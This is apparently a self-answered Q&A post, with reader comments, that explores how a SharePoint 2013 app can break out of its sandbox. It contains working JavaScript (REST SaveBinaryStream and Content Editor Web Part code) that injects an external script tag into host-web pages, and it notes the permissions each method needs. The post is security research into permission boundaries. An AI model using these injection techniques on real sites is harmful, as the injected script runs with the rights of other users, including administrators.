Me an my colleges were discussing the possibility of breaking out of the sandbox that a SharePoint-hosted apps provide. As most of you know host webs in SharePoint 2013 are protected by deploying apps to a wildcard sub-domain, this limits any malicious JavaScript on the app from requesting the host web directly because of Same Origin Policy. So Microsoft designed a system where developers can access host web through the app domain, and so an app permission system could limit the types of request.

Our theory is quite simple; With write permission to a resource one should be able to inject any malicious JavaScript be granted any permission available.

Note there is nothing magical about this, we simply add a script tag so a script is run for current logged in user (or other users with more permissions which might hit the same page), in fact an app with App-only policy could get less permissions.

So the question is as follows: What is the least permission needed to bypass app permissions?


First off we needed a page to work on, we could make a request to find default home page, or try document.referrer, but for now we can say it was /SitePages/Home.aspx (we call it variable page).
For the sake of the examples we will say that appWebUrl and hostWebUrl are defined (these are available in querystring).
Lastly we needed a link to the malicious JavaScript, this could be anything from a script in the app to plnkr.co or jsconsole.com, we call this variable scriptUrl.


First we tried setting WikiField on the item (REST POST to "/_api/SP.AppContextSite(@t)/Web/GetFileByServerRelativeUrl('<page>')/ListItemAllFields?@t='<hostWebUrl>'") although this will not let us save <script>-tags, regardless of permission.


Then we tried with REST and SaveBinaryStream, like this:

var formatUrl = "/_api/SP.AppContextSite(@t)/Web/GetFileByServerRelativeUrl('{1}')/{2}BinaryStream?@t='{0}'"
$.get(String.format(formatUrl, hostWebUrl, page, 'open'), function(d) { 
  var i = d.search(/PlaceHolderMain/i);
  d = d.slice(0, i) + d.slice(i).replace(/>/,'><script src="' + scriptUrl + '"></script>');
    type: 'POST',
    url: String.format(formatUrl, hostWebUrl, page, 'save'),
    data: d,
    headers: {
     'X-RequestDigest': $('#__REQUESTDIGEST').val()

This works great, but the minimum permission we need is Manage on Web, which is quite high.

Content Editor Web Part

Lastly we tried a good old classic - Content Editor Web Part with a link to the script.
As we don't know how to do this with REST we used JSOM like this:

var context = new SP.ClientContext(appWebUrl);
var factory = new SP.ProxyWebRequestExecutorFactory(appWebUrl);
var appContextSite = new SP.AppContextSite(context, hostWebUrl);
var wpm = appContextSite.get_web().getFileByServerRelativeUrl(page).getLimitedWebPartManager(SP.WebParts.PersonalizationScope.user);
var wpDef = wpm.importWebPart('<?xml version="1.0" encoding="utf-8"?>' +
  '<WebPart xmlns="http://schemas.microsoft.com/WebPart/v2">' +
  '<Assembly>Microsoft.SharePoint, Version=, Culture=neutral, PublicKeyToken=71e9bce111e9429c</Assembly>' + 
  '<TypeName>Microsoft.SharePoint.WebPartPages.ContentEditorWebPart</TypeName>' + 
  '<Content xmlns="http://schemas.microsoft.com/WebPart/v2/ContentEditor"><![CDATA[' +
  '<script src="' + scriptUrl + '"></script>' +
  ']]></Content>' + 
var wp = wpDef.get_webPart();
wpm.addWebPart(wp, 'Main', 1);

This results in a lot more code, but as we are allowed to add this Web Part without any check for HTML sanitization it requires the least permission: Write on Web, should also work on List but didn't seem to for us.
Note we use SP.WebParts.PersonalizationScope.user, which means it will only show for current logged in user, which might be fine enough. If we use shared the script will show for all, including Administrators, but then we need permission level Manage. Note that if the current user have permission to add Web Part we could actually use the malicious script to add a shared Content Editor Web Part.


As far as we can tell the permission we need is Manage if we want to hit all users, or Write + hope current user has Contributor permissions. Not very impressive since an app with Manage is requesting a lot of permissions anyway.
One should note that it might be a bit misleading anyway, since the app would state something like "Let it have full control of this site" while it really get full access to everything the current user can access, including all site collections, my sites, managed metadata etc.
We also see that the permissions we need to inject the script matches with the app permission request table.

  • 1
    This should be a blog rather than a question.. It's way too specific.. – Arsalan Adam Khatri Apr 27 '14 at 14:52
  • 1
    Not that I have a blog, but it was supposed to be community wiki, how can I turn it into that (if that would justify the post any)? – eirikb Apr 27 '14 at 15:24
  • These are really nice findings. – Nadeem Yousuf Apr 27 '14 at 15:43
  • 4
    Nothing wrong with a self-answered question. This is a great post. – RJ Cuthbertson Apr 27 '14 at 17:54
  • I see where you are going, but doesn't it come down to the fact that you shouldn't be installing Apps from unknown/less trustworthy sources on your corporate portal? I don't buy this whole "let your users go get apps by themselves on The Internets! Weee bunnies and unicorns!" Office Store crap – Louis Apr 28 '14 at 5:48

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.